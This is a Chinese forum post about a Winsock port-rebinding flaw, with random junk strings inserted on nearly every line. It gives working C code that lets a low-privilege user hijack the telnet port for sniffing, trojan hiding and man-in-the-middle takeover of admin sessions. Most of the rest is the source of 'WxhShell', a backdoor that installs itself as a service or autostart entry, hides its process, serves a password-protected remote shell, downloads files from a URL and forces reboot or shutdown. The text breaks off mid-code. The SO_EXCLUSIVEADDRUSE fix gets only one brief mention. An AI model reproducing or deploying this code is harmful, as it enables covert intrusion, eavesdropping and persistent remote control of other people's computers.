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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $REz {xgA=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H(Pzo+k*  
He vZ}.  
  saddr.sin_family = AF_INET; # 2;6!_  
c|m*< i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2n+tc  
K~Nx;{{d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L|ZxB7xk  
1[p6v4qO{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $$F iCMI  
o|(Ivt7jk  
  这意味着什么?意味着可以进行如下的攻击: ~+|Vzm|S}  
lt08 E2p9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xKl\:}Ytp  
^x2zMB\t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4FQB%3>*  
n x4:n@J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 StLFq6BO  
=D;n#n7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D[/h7Ha  
Gk:tT1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rf?%- X(V  
AS4mJ UU9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >|zMN$:  
":@\kw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "`Q &s  
B']-4X{SGa  
  #include &fofFVQnW  
  #include >PuQ{T I  
  #include V#X#rDfJZ  
  #include     )OHGg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mc,3j~i  
  int main() moS0y?N  
  { HTz5LAe~b7  
  WORD wVersionRequested; (^pIB~.z  
  DWORD ret; |xawguJ  
  WSADATA wsaData; j%+>y;).  
  BOOL val; ~Uw;6VXV1  
  SOCKADDR_IN saddr; 8+i=u" <  
  SOCKADDR_IN scaddr; HK NT. a  
  int err; bog3=Ig-  
  SOCKET s; TB}6iIe  
  SOCKET sc; `%A vn<  
  int caddsize; w**~k]In  
  HANDLE mt; mUj_V#v  
  DWORD tid;   <@Z`<T6  
  wVersionRequested = MAKEWORD( 2, 2 ); n g%~mt  
  err = WSAStartup( wVersionRequested, &wsaData ); S86,m =  
  if ( err != 0 ) { po\(O8#5U  
  printf("error!WSAStartup failed!\n"); }7*|s+F(f  
  return -1; (/7b8)g  
  } !He_f-eZ  
  saddr.sin_family = AF_INET; [*C%u_h  
   |yl,7m/B-G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fUMjLA|*I<  
n:|a;/{I]9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C(8VXtx_  
  saddr.sin_port = htons(23); 4#qZ`H,Ur)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e%s1D  
  { )SZzA'  
  printf("error!socket failed!\n"); 8WE@ X)e  
  return -1; D V\7KKJE  
  } G2<$to~{  
  val = TRUE; }.a{;{y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L{&>,ww  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tD*k   
  { :i4AkBNK  
  printf("error!setsockopt failed!\n"); z3Yi$*q <  
  return -1;  zo1T`"Y  
  } et2;{Tb,5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D6~KLSKm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |8pSMgN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r?itd)WC<X  
jzJQ/ZFS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  svx7  
  { XV/7K "  
  ret=GetLastError();  v%$l(  
  printf("error!bind failed!\n"); R?zlZS.~  
  return -1; zMRa <G7  
  } p5jR;nOZ%l  
  listen(s,2); X-tw)  
  while(1) vf zC2  
  { (/At+MF3E  
  caddsize = sizeof(scaddr); fF(AvMsO  
  //接受连接请求 #]dq^B~~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #K0/ >W  
  if(sc!=INVALID_SOCKET) [(2^oTSRaq  
  { 43E)ltR=]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,ss"s3  
  if(mt==NULL) m 62Zta  
  { #8sy QWlG  
  printf("Thread Creat Failed!\n"); 4qQE9f xdY  
  break; T ay226  
  } *v%gNq  
  } >;XtJJS  
  CloseHandle(mt); D_?Tj  
  } T_!F I29  
  closesocket(s); 3b\s;!  
  WSACleanup(); %3*|Su%uC  
  return 0; (V&8 WN  
  }   yKuZJXGVo  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5Q <vS"g  
  { |||m5(`S  
  SOCKET ss = (SOCKET)lpParam; =dH=3iCG  
  SOCKET sc; $3B%4#s  
  unsigned char buf[4096]; m_Pk$Vwx  
  SOCKADDR_IN saddr; Xq )7Im}?  
  long num; tH&eKM4G  
  DWORD val; p:4-b"O  
  DWORD ret; 2*^=)5Gj-h  
  //如果是隐藏端口应用的话,可以在此处加一些判断  [Rub  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R(pQu! K4  
  saddr.sin_family = AF_INET; 6\u. [2lE^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :!l.ze{F  
  saddr.sin_port = htons(23); 1) K<x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %E/#h8oN{  
  { EcX7wrl9x  
  printf("error!socket failed!\n"); cLp_\\  
  return -1; EZ{{p+e ^  
  } 50dN~(;p  
  val = 100; J~xm[^0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7D,nxx(`  
  { wh8;:<|  
  ret = GetLastError(); ftcLP  
  return -1; (SQGl!Lai0  
  } Q=d:Yz":S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jbq x7x  
  { 5FuV=Yuc  
  ret = GetLastError(); ]hy@5Jyh  
  return -1; f+ZOE?"  
  } K|\0jd)N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j:uq85 s  
  { M@7U]X$g  
  printf("error!socket connect failed!\n"); X^dasU{*  
  closesocket(sc); mE1Vr  
  closesocket(ss); }"nm3\Df  
  return -1; KPDJ$,:  
  } ?7TmAll<.s  
  while(1) %).I &)i  
  { H"A@Q.'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $<XQv$YS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t5_76'@cX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o\ce|Dzt  
  num = recv(ss,buf,4096,0); fj['M6+wd  
  if(num>0) nh0gT>a>@  
  send(sc,buf,num,0); sw}^@0ua=  
  else if(num==0) x4>"m(&%  
  break; 'AWWdz  
  num = recv(sc,buf,4096,0); ^b~ZOg[p  
  if(num>0) =O"l/\c^  
  send(ss,buf,num,0); tS\Db'C7  
  else if(num==0) rNicg]:\x  
  break; Z_dL@\#|  
  } O(-6Zqk8Q  
  closesocket(ss); -DJ ,<f*$  
  closesocket(sc); T`j {2  
  return 0 ; M6quPj  
  } hP{+`\&<f  
,4XOe,WQ  
S&y${f  
========================================================== ^~TE$i<   
^V9|uHOJoq  
下边附上一个代码,,WXhSHELL v5e*R8/  
5+Tx01 )  
========================================================== <h+@;/v:  
k^ fW /  
#include "stdafx.h" "".a(ZGg  
"Xwsu8~  
#include <stdio.h> yn@wce  
#include <string.h> (RrC<5"  
#include <windows.h> fWWB]h  
#include <winsock2.h> +_vf=d  
#include <winsvc.h> J4 j:nd  
#include <urlmon.h> {*g{9`   
FYu30  
#pragma comment (lib, "Ws2_32.lib") xL<c/B`-:  
#pragma comment (lib, "urlmon.lib") k#~oagW_Gw  
;gu4~LQw  
#define MAX_USER   100 // 最大客户端连接数 J(~1mIJjC  
#define BUF_SOCK   200 // sock buffer 'r_Fi5[q  
#define KEY_BUFF   255 // 输入 buffer [g: cG  
[euR<i*I#  
#define REBOOT     0   // 重启 }M"])B I  
#define SHUTDOWN   1   // 关机 v@2@9/  
(M u;U!M"P  
#define DEF_PORT   5000 // 监听端口 &;r'JIp  
,JbP~2M~%  
#define REG_LEN     16   // 注册表键长度 mea} 9]c  
#define SVC_LEN     80   // NT服务名长度 |/8!P Km  
,Csjb1  
// 从dll定义API _akjgwu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?UIW&*h}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2u5\tp?8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w@6y.v1I{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $\1M"a}F  
XhWo~zh"  
// wxhshell配置信息 Pf?&ys6  
struct WSCFG { 2ve<1+V_  
  int ws_port;         // 监听端口 kz("LI]  
  char ws_passstr[REG_LEN]; // 口令 O}2/w2n  
  int ws_autoins;       // 安装标记, 1=yes 0=no qkp0'f*}  
  char ws_regname[REG_LEN]; // 注册表键名 SD8>,  
  char ws_svcname[REG_LEN]; // 服务名 =WZ9|e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `)KGajB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N'l2$8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <}c7E3Uc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " ;T a8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #uC}IX2n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |f1^&97=+  
^'Rs`e  
}; s`[V{1m,  
q|s:&&Wf  
// default Wxhshell configuration W >}T$a}\  
struct WSCFG wscfg={DEF_PORT, U,fPG/9  
    "xuhuanlingzhe", hB aG*J{  
    1, KjF8T7%  
    "Wxhshell", &t_TLV 8T  
    "Wxhshell", Vu4LC&q  
            "WxhShell Service", Buq(L6P9r  
    "Wrsky Windows CmdShell Service", i&%dwqp  
    "Please Input Your Password: ", $83Qd  
  1, ,VUOsNN4\  
  "http://www.wrsky.com/wxhshell.exe", 3i4m!g5Z?  
  "Wxhshell.exe" u$ci{<  
    }; {,T=Siy  
DR]oK_  
// 消息定义模块 [ z/G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M _cm,|FF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Rp:I&f$Hk/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k!$$ *a*  
char *msg_ws_ext="\n\rExit."; t%k`)p7O  
char *msg_ws_end="\n\rQuit."; ~+Cl9:4T  
char *msg_ws_boot="\n\rReboot..."; ;yjw(OAI*  
char *msg_ws_poff="\n\rShutdown..."; Ro<5c_k  
char *msg_ws_down="\n\rSave to "; Hl{ul'o  
n<b}6L}  
char *msg_ws_err="\n\rErr!"; ,qV7$u  
char *msg_ws_ok="\n\rOK!"; R{aqn0M  
zJUT<%[U  
char ExeFile[MAX_PATH]; !B9 Yw/Ba  
int nUser = 0; If'N0^'W  
HANDLE handles[MAX_USER]; gF2 93Ez  
int OsIsNt; %=s2>vv9  
V!TGFo}  
SERVICE_STATUS       serviceStatus; ajM\\a?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z$('MQ|Ur  
!Zc#E,  
// 函数声明 JLu$UR4  
int Install(void); 6-5{7E}/b  
int Uninstall(void); 5UK}AkEe&x  
int DownloadFile(char *sURL, SOCKET wsh); GGZ9DC\{  
int Boot(int flag); 5s4x%L (~}  
void HideProc(void); |A0U 3$S=  
int GetOsVer(void); WigTNg4  
int Wxhshell(SOCKET wsl); m?4HVv  
void TalkWithClient(void *cs);  : ?Z9  
int CmdShell(SOCKET sock); heb{i5el  
int StartFromService(void); j~9Y0jz_  
int StartWxhshell(LPSTR lpCmdLine); m|]"e@SF2  
p-!/p#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hX-^h2eV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #W_-S0>&  
W~l.feW$i  
// 数据结构和表定义 or7l} X  
SERVICE_TABLE_ENTRY DispatchTable[] = :r:x|[3.  
{ 5~#oQ&  
{wscfg.ws_svcname, NTServiceMain}, `J7@G]X;2  
{NULL, NULL} Aaz:C5dtU  
}; =*6H!bzX  
0/%RrE  
// 自我安装 1n.F`%YG  
int Install(void) Vy=+G~  
{ U:PtRSdn!b  
  char svExeFile[MAX_PATH]; VPVg \K{  
  HKEY key; XN3'k[  
  strcpy(svExeFile,ExeFile); X@A8~ kj1  
nVP|{M  
// 如果是win9x系统,修改注册表设为自启动 VjeF3pmBa  
if(!OsIsNt) { ^ZBTd5t#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5pff}Ru`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y%(8'Ch  
  RegCloseKey(key); kD((1v*D$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y|KT3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PHH,vO[eO  
  RegCloseKey(key); G6\`Iy68/v  
  return 0; 25W #mh,'  
    } DW)81*~g  
  } ]x'd0GH"]  
} QUz4 Kt  
else {  -f<}lhmQ  
* COC&  
// 如果是NT以上系统,安装为系统服务 }+)q/]%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R|*Eg,1g -  
if (schSCManager!=0) %9L+ Q1o  
{ uj)fah?Wg  
  SC_HANDLE schService = CreateService  |vBy=:  
  ( {~'Iu8TvZ  
  schSCManager, @ykl:K%ke  
  wscfg.ws_svcname, wS|hc+1  
  wscfg.ws_svcdisp, vI"BNC*Q1  
  SERVICE_ALL_ACCESS, J)H*tzg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $?;)uoAg  
  SERVICE_AUTO_START, +'[/eW  
  SERVICE_ERROR_NORMAL, e=[@HVr   
  svExeFile, {]4Zpev  
  NULL, Y7')~C`up^  
  NULL, "z*?#&?,  
  NULL, B@8lD\  
  NULL, !~xlze   
  NULL #w!ewCvt  
  ); {=MRJg!U  
  if (schService!=0) 5YgT*}L+,  
  { gzDfx&.0  
  CloseServiceHandle(schService); {WTy/$ Qk  
  CloseServiceHandle(schSCManager); M'pIAm1p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l4& l)4Rx  
  strcat(svExeFile,wscfg.ws_svcname); Ns\};j?TU*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )E^Pn|H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G4\|bwh  
  RegCloseKey(key); 1c*;Lr.K  
  return 0; Ggbz  
    } l.BiE<&  
  } @z`eqG,']  
  CloseServiceHandle(schSCManager); 5eM{>qr}  
} ^W~8)Rbf  
} {f;DhB-jj  
jcRe),  
return 1; Zlrbd  
} V \/Qik{h  
TQQh:y  
// 自我卸载 FRsp?i K)  
int Uninstall(void) fk\]wFj  
{ ~ ^fb`f+%  
  HKEY key; ^,`]Q)P^  
G[{Av5g mx  
if(!OsIsNt) { lWUQkS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k+hl6$:Qj%  
  RegDeleteValue(key,wscfg.ws_regname); `r0lu_.$]4  
  RegCloseKey(key);  %Nx,ZD@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LyG`q3@  
  RegDeleteValue(key,wscfg.ws_regname); KWM}VZY:Z  
  RegCloseKey(key); ^4et; F%  
  return 0; {Ywdhw JP  
  } {e0(M*u  
} d?V/V'T[  
} wn\ R|'Rdz  
else { gLK0L%"5  
?6h~P:n.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sH]T1z  
if (schSCManager!=0) -vc ,O77z"  
{ ScmwHid:\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CY$ 1;/  
  if (schService!=0) :NB.ib@*  
  { hDc2T  
  if(DeleteService(schService)!=0) { { _Y'%Ggh  
  CloseServiceHandle(schService); hBhbcWD,ka  
  CloseServiceHandle(schSCManager); .kJu17!  
  return 0; vI:_bkii  
  } ;j+*}|!  
  CloseServiceHandle(schService); q_[`PYT  
  } 9WV8ZP  
  CloseServiceHandle(schSCManager); 4M+f#b1  
} IYa(B+nB)  
} ,k(B>O~o  
p&D7&Sb[  
return 1; )}Cf6 m}  
} SL +\{V2  
uO1^nK  
// 从指定url下载文件 @q{.  
int DownloadFile(char *sURL, SOCKET wsh) G&4D0f  
{ yV31OBC:  
  HRESULT hr; K cW 5  
char seps[]= "/"; Dj6^|R$z&  
char *token; ]cMZ7V^  
char *file; ==trl#kQ%%  
char myURL[MAX_PATH]; U!YoZ?  
char myFILE[MAX_PATH]; Ds{bYK_y  
T7l,}G  
strcpy(myURL,sURL); ^N`KT   
  token=strtok(myURL,seps); u#Bj#y!  
  while(token!=NULL) e)3Mg^  
  { 4ywtE}mp  
    file=token; %=V" }P[  
  token=strtok(NULL,seps); .k#O[^~]  
  } =5:kV/p  
MYR\W*B'b  
GetCurrentDirectory(MAX_PATH,myFILE); rA @|nL{  
strcat(myFILE, "\\"); 9Vt6);cA-]  
strcat(myFILE, file); Ok}e|b[D  
  send(wsh,myFILE,strlen(myFILE),0); > kwhZ/x  
send(wsh,"...",3,0); llCE}Vdh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m |.0$+=  
  if(hr==S_OK) )*7{%Ilq  
return 0; $}EARW9  
else Ki%)LQAg  
return 1; wzZ]| C(vp  
cBHUa}:  
} mM_gOd  
{xP-p"?p  
// 系统电源模块 %:dd#';g  
int Boot(int flag) QX_![|=  
{ 5r;)Ppo  
  HANDLE hToken; kHQn' r6  
  TOKEN_PRIVILEGES tkp; h,K&R8S  
h645;sb0  
  if(OsIsNt) { A}3E)Qo=G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,V&E"D{u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $lJ!f  
    tkp.PrivilegeCount = 1; =CL,+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b'xBPTN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TQvjU!>  
if(flag==REBOOT) { ONc#d'-L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QqXaXx;  
  return 0; @#9xSs#  
} =Hj3o_g-  
else { a &`^M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HhzPKd  
  return 0; Ra C6RH  
} Ysi@wK-LnF  
  } 37V$Qb_  
  else { Q0xQx z  
if(flag==REBOOT) { &((04<@e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?w)A`G_  
  return 0; {4%ddJn[.)  
} zD s V"D8  
else { &3*r-9BZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *LvdrPxU=  
  return 0; V7+/|P_  
} f1d<xGx  
} BpF}H^V-  
@Z96902<t  
return 1; 2J` LZS  
} LBcqFvj{&  
x+1-^XvK  
// win9x进程隐藏模块 lB|.TCbW  
void HideProc(void) nH[>Sff$  
{ zEeix,IU  
ork{a.1-_w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FwQGxGZ  
  if ( hKernel != NULL ) zXd#kw;  
  {  ww\2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W7IAW7w8U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9|9/8a6A  
    FreeLibrary(hKernel); Lf8{']3  
  } [bN_0T.YI  
Ej`G(  
return; =1mIk0H`  
} ay=f1<a  
}BCxAwD4  
// 获取操作系统版本 TG.\C8;vFh  
int GetOsVer(void) 2}ywNVS  
{ QW%xwV?8  
  OSVERSIONINFO winfo; 6V1 Z(K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k:1|Z+CJ  
  GetVersionEx(&winfo); A{52T]9X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ =H 10A  
  return 1; e4 cWi  
  else l +O\oD?-  
  return 0; "K*^%{  
} lq27^K  
P;e@<O  
// 客户端句柄模块 ;S+"z;$m  
int Wxhshell(SOCKET wsl)  /?6  
{ a+n?y)u  
  SOCKET wsh; zc>LwX}<  
  struct sockaddr_in client; pz/vvH5  
  DWORD myID; W1UqvaR  
&s&Ha{(!w  
  while(nUser<MAX_USER) R"QWap}  
{ 0&2&F=fOa<  
  int nSize=sizeof(client); 6^nxw>-   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1.j;Xo/+:V  
  if(wsh==INVALID_SOCKET) return 1; QWK\6  
x]:B3_qR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @]%c UjQ  
if(handles[nUser]==0) U9q6m3#$  
  closesocket(wsh); `V Rt{p  
else yrR,7v J  
  nUser++; Je~<2EsQ  
  } +/8KN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lQer|?#  
XO4rrAYvW  
  return 0; \H.1I=<  
} u-~?ylh  
ixo?o]Xb`  
// 关闭 socket eHI7= [h  
void CloseIt(SOCKET wsh) </7?puVR  
{ d##'0yg   
closesocket(wsh); a(eUdGJ  
nUser--; l":Z. J  
ExitThread(0); A(qy>x-BI  
} Kj*:G!r0.:  
EX,)MU  
// 客户端请求句柄 $5#+;A'Q+  
void TalkWithClient(void *cs) wLH[rwPr  
{ =Ev* Q[  
/g]m,Y{OI  
  SOCKET wsh=(SOCKET)cs; 5y|/}D>  
  char pwd[SVC_LEN]; {!7 ^ w  
  char cmd[KEY_BUFF]; `$N AK  
char chr[1]; twJ)h :!_y  
int i,j; @K.[;-;g  
iKuSk~  
  while (nUser < MAX_USER) { rz3!0P!"K  
0 6S-3bis  
if(wscfg.ws_passstr) { >gTrui{ ,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I^fKZ^]8P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <hbxerg  
  //ZeroMemory(pwd,KEY_BUFF); &B5@\Hd;  
      i=0; g{?]a'?  
  while(i<SVC_LEN) { `?R~iLIAq  
5//.q;z  
  // 设置超时 ]za1=~[  
  fd_set FdRead; N!&$fhY)  
  struct timeval TimeOut; 6?v)Hb}J%d  
  FD_ZERO(&FdRead); <kr%ylhIu  
  FD_SET(wsh,&FdRead); L0O},O  
  TimeOut.tv_sec=8; Lg[_9 `\  
  TimeOut.tv_usec=0; hE"a(i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vo_m$/O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {qHf%y&[  
gLef6q{}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qm1;^j&y  
  pwd=chr[0]; H%:~&_D  
  if(chr[0]==0xd || chr[0]==0xa) { $pm5G} .  
  pwd=0; lC ^NhQi  
  break; v&GBu  
  } y84= Q  
  i++; k )T;WCia  
    } r-$SF5uv  
<|'C|J_!  
  // 如果是非法用户,关闭 socket oX9rpTi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;nbUbRb  
} ;-1yG@KG  
qh)o44/ $  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W=$d|*$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K XP^F6@l  
wtDy-H n  
while(1) { QDg\GA8|  
BEkxH.   
  ZeroMemory(cmd,KEY_BUFF); mG!Rh  
hi I`ot  
      // 自动支持客户端 telnet标准   K 5SHt'P  
  j=0; i(XcNnn6  
  while(j<KEY_BUFF) { dM{xPpnx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h<50jnH!  
  cmd[j]=chr[0]; ^y,% Tv>  
  if(chr[0]==0xa || chr[0]==0xd) { Gmi w(T  
  cmd[j]=0; tU02t#8  
  break; (0Xgv3wd  
  } {[ j+ y  
  j++; :6 ?&L  
    } NX^%a1D!  
$~<);dYu0  
  // 下载文件 =8?gx$r2  
  if(strstr(cmd,"http://")) { {]aB3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ei>8{v&g  
  if(DownloadFile(cmd,wsh)) W[]N.d7G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gQJy"f  
  else !biq7f%6#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Ze"Hv  
  } gOpGwpYZ,  
  else { mJaWzR  
Ldnw1xy  
    switch(cmd[0]) { |@]`" k  
  smLXNO  
  // 帮助 * _puW x  
  case '?': { G'/36M@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E"e<9  
    break; g|r:+%,M  
  } 'OKDB7Ni  
  // 安装 xeqAFq=9?  
  case 'i': { ho#]i$b}f2  
    if(Install()) n%lY7.z8d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kDM\IyM<\  
    else K4Mv\!Q<8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =6Dz<Lq  
    break;  hfpSxL  
    } :^+ aJ]  
  // 卸载 __\Tv>Y  
  case 'r': { k\UDZ)TQV  
    if(Uninstall()) v:c_q]z#B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ln#Jb&u  
    else z\Vu`Y z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&+f:)n  
    break; -AUdBG  
    } kK2x';21  
  // 显示 wxhshell 所在路径 zfDx c3e  
  case 'p': { T!.6@g`x>  
    char svExeFile[MAX_PATH]; EGYYSoBLU  
    strcpy(svExeFile,"\n\r"); [bd fp a  
      strcat(svExeFile,ExeFile); xWX1P%`  
        send(wsh,svExeFile,strlen(svExeFile),0); )BR6?C3  
    break; >'4Bq*5>  
    } Zvd^<SP<?  
  // 重启 x35(i  
  case 'b': { Np>[mNmga  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iX 0s4  
    if(Boot(REBOOT)) ,/n<Qg"`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &DC o;Ij;  
    else { ;h> s=D,r  
    closesocket(wsh); 'ojI_%9<  
    ExitThread(0); CN6@g^)P  
    } E5.3wOE  
    break; trL:qD+{(  
    } Ky33h 0TX  
  // 关机 MsMNP[-l  
  case 'd': { A+d&aE }3V  
